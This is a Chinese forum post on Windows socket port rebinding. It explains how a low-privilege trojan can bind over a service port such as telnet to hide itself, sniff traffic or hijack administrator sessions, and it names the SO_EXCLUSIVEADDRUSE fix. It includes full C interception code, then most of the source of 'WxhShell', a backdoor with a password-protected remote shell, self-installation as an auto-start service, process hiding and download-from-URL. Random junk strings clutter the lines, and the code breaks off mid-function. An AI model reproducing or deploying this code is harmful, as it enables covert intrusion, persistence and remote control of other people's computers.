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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x$I~y D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e`'O!  
pq+Gsu1^  
  saddr.sin_family = AF_INET; md_aD  
VR2BdfKU,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,\4@Ao  
\TkBV?W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pNr3u  
I5>HB;Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W}+Q!T=  
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  这意味着什么?意味着可以进行如下的攻击: 4vPQuk!  
a*6x^R;)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +Vt@~Z4K  
O*rKV2\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rPkV=9ull,  
bV|:MW <Wv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y(78qs1w  
' ~lC85  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YN9ug3O+  
FVT_%"%C9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]plg@  
T/MbEqAf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KQaw*T[Q3w  
fyYT#r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c^}gJ  
yAG4W[  
  #include  :D} xT]  
  #include j\f;zb?F  
  #include jY$Bns&.w  
  #include    2!cP[ Ck  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i;y<gm"  
  int main() [zn`vT  
  { Vd4x!Vk  
  WORD wVersionRequested; [G+M94[A  
  DWORD ret; -lRXH7|X  
  WSADATA wsaData; \=v7'Hp  
  BOOL val; XUfj 0  
  SOCKADDR_IN saddr; "]JE]n}Ulg  
  SOCKADDR_IN scaddr; v$p<6^kJ  
  int err; BM& 95p   
  SOCKET s; 'h%)@q)J)  
  SOCKET sc; rr'RX  
  int caddsize; ae{% * \J  
  HANDLE mt; pq#Hca[  
  DWORD tid;   ueDG1)  
  wVersionRequested = MAKEWORD( 2, 2 ); ^O6PZm5J}  
  err = WSAStartup( wVersionRequested, &wsaData ); Y b]eWLv  
  if ( err != 0 ) { *5hg}[n2  
  printf("error!WSAStartup failed!\n"); !h}x,=`z/  
  return -1; ]}i_NqW)  
  } V9I5/~0c  
  saddr.sin_family = AF_INET; @sav8 ]  
   r^n%PH <  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]Hc `<P  
o?b$}Qrl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P-ys$=  
  saddr.sin_port = htons(23); -wvrc3F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NwIl~FNK  
  { `]_#_  
  printf("error!socket failed!\n"); VT?J TW  
  return -1; tmDI2Z%7  
  } NjMbQ M4  
  val = TRUE; l131^48U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5Lo{\7%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )/HSt%>  
  { &`0y<0z  
  printf("error!setsockopt failed!\n"); Z 3m5DK  
  return -1; L10Vq}W"  
  } *e H[~4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -i:Zi}f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ha1 J^e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q!$ZBw-7>A  
m!er "0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pi q%b]  
  { I?lQN$A.E  
  ret=GetLastError(); 320Wm)u>:  
  printf("error!bind failed!\n"); DhG2!'N  
  return -1; U2$e?1y  
  } v2gK(&?  
  listen(s,2); e!d& #ofw|  
  while(1) p )etl5  
  { ba1zu|@w  
  caddsize = sizeof(scaddr); ah>;wW!6/  
  //接受连接请求 ,u-i9`B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fCJ:QK!  
  if(sc!=INVALID_SOCKET) s+2\uMwf*  
  { J1cD)nM<A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XG@_Lcv*  
  if(mt==NULL) ]QJLES  
  { L}P<iB   
  printf("Thread Creat Failed!\n"); |F-_YR  
  break; [a53H$`\5  
  } ZtlF]k:MV  
  } 67+ K ?!,  
  CloseHandle(mt); gs_"H  
  } Os?G_ziIB  
  closesocket(s); kn 5q1^  
  WSACleanup(); m4<8v  
  return 0; usZmf=p-r  
  }   6 K P  
  DWORD WINAPI ClientThread(LPVOID lpParam) 282 m^ 2  
  { |fYNkD 8z1  
  SOCKET ss = (SOCKET)lpParam; w1KLQd:yq  
  SOCKET sc; z2i?7)(?;A  
  unsigned char buf[4096]; Mc>]ZAzr  
  SOCKADDR_IN saddr; 8c3`IIzAS  
  long num; z'O$[6m6  
  DWORD val; ,+3l9FuQ  
  DWORD ret; KRd.Ubs -  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NS6#od ZeV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GC?\GV  
  saddr.sin_family = AF_INET; {# ;e{v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  e-sMU  
  saddr.sin_port = htons(23); _ M8Q%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !`hiXDk*2  
  {  gG1%.q  
  printf("error!socket failed!\n");  Xt(w+  
  return -1; CN#`m]l.  
  } sg;G k/]  
  val = 100; &[`p qX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |eAl!k  
  { :O-Y67>&  
  ret = GetLastError(); \om$%FUP  
  return -1; 68V66:0  
  } [h""AJ~t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vRp =L54z  
  { A-aukJg9  
  ret = GetLastError(); /k|y\'<  
  return -1; 'uGn1|Pvy  
  } 5?kJ]:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ajq[ID  
  { 1"RO)&  
  printf("error!socket connect failed!\n");  &~:b &  
  closesocket(sc); EjV,&7o)  
  closesocket(ss); iIA5ylf{E  
  return -1; dms R>Q  
  } ..UmbJJ.u  
  while(1) tu#VZAPW@  
  { ),v[.9!}:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /Z';# G,z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wQgW9546  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <%#M&9d)E  
  num = recv(ss,buf,4096,0); F-k3'eyY  
  if(num>0) P6&@fwJ<  
  send(sc,buf,num,0); 51W\%aB  
  else if(num==0) l3R`3@  
  break; ;g?oU "YM  
  num = recv(sc,buf,4096,0); JOS,>;;F4  
  if(num>0) |GM?4'2M.  
  send(ss,buf,num,0); G&)A7WaC  
  else if(num==0) &?f{.  
  break; &%+}bt5  
  } T~J6(,"  
  closesocket(ss); R(@B4M2  
  closesocket(sc); Z@>hN%{d+g  
  return 0 ; wASgdGoy  
  } kzny4v[y  
?wt%e;  
@(Wx(3JR?}  
========================================================== )WF]v"t  
r" d/ 9  
下边附上一个代码,,WXhSHELL [wWip1OR  
coT|t T  
========================================================== w&jyijk(  
=hxj B*")  
#include "stdafx.h" ;XNe:g.CR  
+[:"$?J  
#include <stdio.h> Qz2Y w `  
#include <string.h> !4\`g?  
#include <windows.h> 4G"T{A`O  
#include <winsock2.h> TCYjj:/  
#include <winsvc.h> -lV]((I&  
#include <urlmon.h> G7yCGT)vQ  
lyNa(3  
#pragma comment (lib, "Ws2_32.lib") ? acm5dN  
#pragma comment (lib, "urlmon.lib") _) k=F=  
Pc#8~t}2  
#define MAX_USER   100 // 最大客户端连接数 U+>!DtOYK  
#define BUF_SOCK   200 // sock buffer X<dQq`kZ  
#define KEY_BUFF   255 // 输入 buffer `CA-s  
^\Tde*48  
#define REBOOT     0   // 重启 P +ONQN|  
#define SHUTDOWN   1   // 关机 `[3Iz$K=  
_U(b  
#define DEF_PORT   5000 // 监听端口 3TVp oB`  
B38_1X7  
#define REG_LEN     16   // 注册表键长度 }R4%%)j(Vj  
#define SVC_LEN     80   // NT服务名长度 p \A^kX^5  
o%XAw   
// 从dll定义API kW0|\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DP ,owk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c ]M!4.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?$i`K|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /yPFts_q  
,~u5SR  
// wxhshell配置信息 F$<>JEdX  
struct WSCFG { Nd'+s>d0  
  int ws_port;         // 监听端口 XdE#l/#  
  char ws_passstr[REG_LEN]; // 口令 )#n0~7 &  
  int ws_autoins;       // 安装标记, 1=yes 0=no |TL&#U  
  char ws_regname[REG_LEN]; // 注册表键名 1DVu`<OXcH  
  char ws_svcname[REG_LEN]; // 服务名 xS?[v&"2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ZV1Ev8T6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (7^5jo[D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1"? 3l`i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sm(X/P=z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )'3(=F$+l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1)yEx1  
4XpW#>  
}; BOClMeA4  
dZcRLLR  
// default Wxhshell configuration \H|tc#::{  
struct WSCFG wscfg={DEF_PORT, s ;EwAd(  
    "xuhuanlingzhe", /.B7y(  
    1, 0t[|3A~Q  
    "Wxhshell", 2z+Vt_%  
    "Wxhshell", *"Yz"PK  
            "WxhShell Service", ,rj_P  
    "Wrsky Windows CmdShell Service", Qz)1wf'y  
    "Please Input Your Password: ", l)tK/1 W  
  1, hr3RC+ y  
  "http://www.wrsky.com/wxhshell.exe", >a/]8A  
  "Wxhshell.exe" ~R^~?Y%+<  
    }; tmT/4Ia  
Pu/X_D-#Gi  
// 消息定义模块 HwfBbWHr'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L c4\i  
char *msg_ws_prompt="\n\r? for help\n\r#>";  gP%S{<.?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >xrO W`p ]  
char *msg_ws_ext="\n\rExit."; D=Ia$O0.  
char *msg_ws_end="\n\rQuit."; ln4gkm<]t  
char *msg_ws_boot="\n\rReboot..."; C".nB12  
char *msg_ws_poff="\n\rShutdown..."; hM$K?t  
char *msg_ws_down="\n\rSave to "; `/?XvF\  
%N+8K  
char *msg_ws_err="\n\rErr!"; _RI`I}&9Z  
char *msg_ws_ok="\n\rOK!"; *+|D8xp  
mU0j K@^&M  
char ExeFile[MAX_PATH]; qQK0s*^W  
int nUser = 0; =nPIGI72VO  
HANDLE handles[MAX_USER]; Mh [TZfV  
int OsIsNt; IIrh|>d_7  
4@ EY+p  
SERVICE_STATUS       serviceStatus; eaLR-+vEB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RhwqAok|lj  
p1~u5BE7O  
// 函数声明 2kMBe%  
int Install(void); `w/:o$&  
int Uninstall(void); L&h@`NPO a  
int DownloadFile(char *sURL, SOCKET wsh); PNy)TqdRS  
int Boot(int flag); ,@I_b  
void HideProc(void); B-'oB>|  
int GetOsVer(void); rXl ~D!  
int Wxhshell(SOCKET wsl); #._%~}U  
void TalkWithClient(void *cs); me-Tv7WL  
int CmdShell(SOCKET sock); .Ukejx  
int StartFromService(void); A"|y<  
int StartWxhshell(LPSTR lpCmdLine); K @x4>9 3n  
zgre&BV0q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !J#oN+AR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7G6XK   
.*N]SbU<8  
// 数据结构和表定义 t!}QG"ma  
SERVICE_TABLE_ENTRY DispatchTable[] = #?=?<"*j  
{ yTt,/+I%gJ  
{wscfg.ws_svcname, NTServiceMain}, \l)Jb*t  
{NULL, NULL} ;QYUiR  
}; 0_nY70B  
Tx+!D'>  
// 自我安装 "rxhS; R1>  
int Install(void) 7oUecyoj  
{ kp F")0qr  
  char svExeFile[MAX_PATH]; %LI[+#QE  
  HKEY key; 2AYV9egZ  
  strcpy(svExeFile,ExeFile); hd+(M[C<9  
`N;}Gf-'  
// 如果是win9x系统,修改注册表设为自启动 ( X(61[Lu  
if(!OsIsNt) { 5:S=gARz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q{4W@Um-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BY*{j&^  
  RegCloseKey(key); $y%X#:eLJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }5_[t9LX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t2bv nh  
  RegCloseKey(key); d_t>  
  return 0; jhRg47A  
    } R#"LP7\  
  } <4lR  
} B=<>OYH  
else { 9, A(|g  
=*paa  
// 如果是NT以上系统,安装为系统服务 WY>r9+A?W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q,Oj  
if (schSCManager!=0) 7TDt2:;]  
{ R'Gka1v  
  SC_HANDLE schService = CreateService ,<Ag&*YE4  
  ( F7fpsAt7  
  schSCManager, %E<.\\^%  
  wscfg.ws_svcname, U%.%:'eV=  
  wscfg.ws_svcdisp, =7^rKrD  
  SERVICE_ALL_ACCESS,  +\Hh|Uz5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a7$]" T 7  
  SERVICE_AUTO_START, ojmF:hR"  
  SERVICE_ERROR_NORMAL, 'gBGZ?^N!U  
  svExeFile, &# [w*t(A  
  NULL, s&Bk@a8  
  NULL, ^nO0/nqz]  
  NULL, @=i- *U  
  NULL, X667*L^  
  NULL J#1-Le8@  
  ); U-~6<\Mf  
  if (schService!=0) $ ,:3I*}be  
  {  w^Mj[v#  
  CloseServiceHandle(schService); ON,sN  
  CloseServiceHandle(schSCManager); z (1zth  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dM-qd`  
  strcat(svExeFile,wscfg.ws_svcname); egXHp<bqw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `EBI$;!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R #f*QXv  
  RegCloseKey(key); T<o^f n,H  
  return 0; EWb'#+BP  
    } k<&zVV '  
  } XY_hTHJ  
  CloseServiceHandle(schSCManager); <w,NMu"  
} VtTTvP3  
} w}20l F  
h+\+9^l6|  
return 1; `7D]J*?`  
} Jn |sS(Q}  
l+ ,p=  
// 自我卸载 Ux/|D_rlf  
int Uninstall(void) lmGVSdo   
{ hSN{jl{L`  
  HKEY key; 5SB!)F]   
R^p'gQc$   
if(!OsIsNt) { \X*Es.;|x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p&s~O,Bw$  
  RegDeleteValue(key,wscfg.ws_regname); TmS-w  
  RegCloseKey(key); 3-=f@uH!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &g;&=<#I  
  RegDeleteValue(key,wscfg.ws_regname); I>bO<T`  
  RegCloseKey(key); qsT@aSIo9  
  return 0; /VmtQ{KTt+  
  } ~|:U"w\[=  
} 7:M`k#oDP  
} x>]14 bLz  
else { icrcP ~$A  
3 P=I)q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _\2Ae\&c  
if (schSCManager!=0) xS'Kr.S  
{ h&| S*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ShIJ6LZ  
  if (schService!=0) ?5IF;vk  
  { !=3Ce3-  
  if(DeleteService(schService)!=0) { w *pTK +  
  CloseServiceHandle(schService); _Xqa_6+/  
  CloseServiceHandle(schSCManager); '5)PYjMnH  
  return 0; m{w'&\T  
  } BNw};.lO  
  CloseServiceHandle(schService); f 0|wN\  
  } ?~:4O}5Ax  
  CloseServiceHandle(schSCManager); uGc0Lv4i/  
} 1PN!1=F}  
} 3|0wD:Dy  
`;}w!U  
return 1; ^\f1zg9I  
} hNRN`\5Z  
mXPA1#qo  
// 从指定url下载文件 \[J\I  
int DownloadFile(char *sURL, SOCKET wsh) cr`NHl/XF  
{ p9y@5z  
  HRESULT hr; Bjp4:;Bb  
char seps[]= "/"; `DFo:w!k  
char *token; 5%jy7)8C  
char *file; }> ]`#s  
char myURL[MAX_PATH]; 0'g e}2^  
char myFILE[MAX_PATH]; KSYHG  
W%wc@.P  
strcpy(myURL,sURL); Q$*JkwPQ}  
  token=strtok(myURL,seps); *UZd !a)  
  while(token!=NULL) !{+a2wi  
  { 1\X_B`xwD  
    file=token; . #FJM2Xk  
  token=strtok(NULL,seps); Y2TXWl,Jk  
  } H[Q3M~_E  
cakwGs_{  
GetCurrentDirectory(MAX_PATH,myFILE); *%ta5a  
strcat(myFILE, "\\"); tch;_7?  
strcat(myFILE, file); M{jJ>S{g  
  send(wsh,myFILE,strlen(myFILE),0); 4M )oA|1w  
send(wsh,"...",3,0); $vLGX>H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 98rO]rg  
  if(hr==S_OK) RI3GAd  
return 0; Gspb\HJ^  
else pt%*Y.)az  
return 1; U1)!X@F{  
=&"a:l  
} bIXD(5y  
]Om;bmwt  
// 系统电源模块 DP.Y <V)B  
int Boot(int flag) ^ AJ_  
{ +7 mUX  
  HANDLE hToken; ELZ@0,  
  TOKEN_PRIVILEGES tkp; v[\Z^pccgj  
=X;h _GQ  
  if(OsIsNt) { lyzM?lK-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .3CQFbHF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `$Y%c1;  
    tkp.PrivilegeCount = 1; <64#J9T^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _&RGhA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fP/;t61Z  
if(flag==REBOOT) { oi7Y?hTj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LYke\/ md  
  return 0; +62}//_?  
}  (,R\6  
else { A\})H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7?ILmYBw  
  return 0; 0C4Os p  
} AbL(F#{  
  } }p>l,HD  
  else { 2<E@f0BVAy  
if(flag==REBOOT) { wWVB'MRXB,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tkP& =$  
  return 0; [ e#[j{  
} 6t{G{ ]  
else { 4xF}rm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cp&1yB   
  return 0; ge]Z5E(1  
} tP89gN^PA|  
} }\QXPU{UVd  
-U{!'e8YiN  
return 1; ETm:KbS  
} ~g}blv0q+B  
lXRB"z  
// win9x进程隐藏模块 MM*9Q`cB  
void HideProc(void) E <N%  
{ T>irW(  
cv_t2m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); : cPV08i  
  if ( hKernel != NULL ) fS3%  
  { XCT3:db  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %3yrX>Js  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~xJ ^YkyH  
    FreeLibrary(hKernel); `o0ISJeKp  
  } j>3Fwg9V  
bsc#Oq]  
return; [W99}bi$  
} g,B@*2Uj  
} x Kv N  
// 获取操作系统版本 @QDUz>_y  
int GetOsVer(void) SC--jhDZ  
{ >#y1(\e  
  OSVERSIONINFO winfo; W~5gTiBZ]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ab[V->>%  
  GetVersionEx(&winfo); s$~H{za  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tILnD1q  
  return 1; Ym#io]  
  else OKA6S*  
  return 0; I5E5,{  
} :4)lmIu  
L i+|%a  
// 客户端句柄模块 i "aQm  
int Wxhshell(SOCKET wsl) .uB[zJc  
{ C't%e  
  SOCKET wsh; 6n/KL  
  struct sockaddr_in client; ;x&3tN/I  
  DWORD myID; jX,A.  
c^R "g)gr  
  while(nUser<MAX_USER) <9x|)2P  
{ fVYv 2  
  int nSize=sizeof(client); O O-Obg^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ppu<k N  
  if(wsh==INVALID_SOCKET) return 1; [OFT!=.y &  
t&-c?&FO\;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fO83 7  
if(handles[nUser]==0) z=4E#y `?U  
  closesocket(wsh); \}Kad\)  
else W$` WkR  
  nUser++; +!t *LSF  
  } I]B9+Z?xo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _k5$.f:Yj<  
iig&O(,  
  return 0; dB Hki*.u  
} Is97>aid  
UJ`%uLR~  
// 关闭 socket sA }X)aP  
void CloseIt(SOCKET wsh) y*8;T v|  
{ [n +(  
closesocket(wsh); ?[ D6|gp  
nUser--; R=W$3Ue~,  
ExitThread(0); w$749jGx  
} G~NhBA9  
Xg;q\GS/<i  
// 客户端请求句柄 &WdP=E"  
void TalkWithClient(void *cs) >P6U0  
{ ! &V,+}>)  
e XdH)|l,\  
  SOCKET wsh=(SOCKET)cs; r<*Y1;7H'  
  char pwd[SVC_LEN]; UHDcheeRD  
  char cmd[KEY_BUFF]; +PO& z!F  
char chr[1]; tOPk x(  
int i,j; ^fM=|.?  
5 d|+c<  
  while (nUser < MAX_USER) { "H{#ib_c_  
`~@}f"c`u  
if(wscfg.ws_passstr) { }J=zO8OL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bL5dCQxty  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S1!_ IK$m  
  //ZeroMemory(pwd,KEY_BUFF); %;`3I$  
      i=0; V{0V/Nv  
  while(i<SVC_LEN) { 7wqD_Xr  
JM*rPzp  
  // 设置超时 *JaFt@ x  
  fd_set FdRead; C,u;l~zz  
  struct timeval TimeOut; .|K\1qGW0  
  FD_ZERO(&FdRead);  uMBb=   
  FD_SET(wsh,&FdRead); *1}vn%wvn  
  TimeOut.tv_sec=8; ^N~Jm&I  
  TimeOut.tv_usec=0; :wJ!rn,4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SHC VjI6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T f^O(  
16I(S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B^1Io9  
  pwd=chr[0]; GF Rd:e  
  if(chr[0]==0xd || chr[0]==0xa) { ||?wRMV  
  pwd=0; OL[_2m*;9p  
  break; q{.~=~  
  } %;G!gJeE  
  i++; yNQ 9~P2  
    } P+3)YO1C  
sQT,@'"  
  // 如果是非法用户,关闭 socket Jaf=qwZ/`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j0jam:.p  
} PvdR)ZE m  
Fw;Y)y=O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ..^,*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k_Edug~B  
dk2o>jI4;  
while(1) { SiJX5ydz  
q}5&B =2pM  
  ZeroMemory(cmd,KEY_BUFF); PiIILX{DuH  
0M>%1 *  
      // 自动支持客户端 telnet标准   lc0ZfC  
  j=0; dnTXx*I:  
  while(j<KEY_BUFF) { ?rV c}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7h/{F({r=  
  cmd[j]=chr[0]; o=(>#iVM  
  if(chr[0]==0xa || chr[0]==0xd) { [ \Aor[(  
  cmd[j]=0; Z8Clm:S  
  break; AwL;-|X  
  } 3!B3C(g  
  j++; HjN )~<j  
    } 6_a.`ehtj<  
5(OF~mX#  
  // 下载文件 ~ .Eln+N  
  if(strstr(cmd,"http://")) { |m7`:~ow  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :hxZ2O?5_  
  if(DownloadFile(cmd,wsh)) 8%#uZG\}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BF6H_g  
  else ihhnB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E0S[TEDa]  
  } sw &sF  
  else { R:JS)>B  
( ]o6Pi  
    switch(cmd[0]) { iJE|u  
  'C*NyHc  
  // 帮助 -/&6}lD  
  case '?': { VbX$i!>8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `o*g2fW!  
    break; |wj/lX7y  
  } egi?Qg  
  // 安装 G8?<(.pi@  
  case 'i': { W.,J'  
    if(Install()) efP2 C\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aa1XY&G"!  
    else ;7<a0HZ5!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0?t!tugG  
    break; @w:sNXz-  
    } ;h3*MR  
  // 卸载 &f qmO>M  
  case 'r': { ;3sT>UB  
    if(Uninstall()) U^0vLyqW^5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .< vg[  
    else 7\U1K^q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ADxHw`k  
    break; IJXH_H_%*  
    } LDvF)Eg  
  // 显示 wxhshell 所在路径 Lou4M  
  case 'p': { .^.UJo;4G  
    char svExeFile[MAX_PATH]; 90aPIs-  
    strcpy(svExeFile,"\n\r"); 1,`x1dcO!A  
      strcat(svExeFile,ExeFile); %dT%r=%Y  
        send(wsh,svExeFile,strlen(svExeFile),0); Pjb9FCA'  
    break; Azz]TO  
    } L}a3!33)C  
  // 重启 IL:"]`f*  
  case 'b': { ,em6wIq,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pr0V)C6  
    if(Boot(REBOOT)) t1Khf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #CQ>d8&  
    else { 0XYO2 k  
    closesocket(wsh); {Rj'=%h  
    ExitThread(0); _@prv7e  
    } o>`/,-!  
    break; Sc~kO4  
    } sqZHk+<%  
  // 关机 A#  M  
  case 'd': { q=1SP@;\6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MthThsr7  
    if(Boot(SHUTDOWN)) 47K5[R  
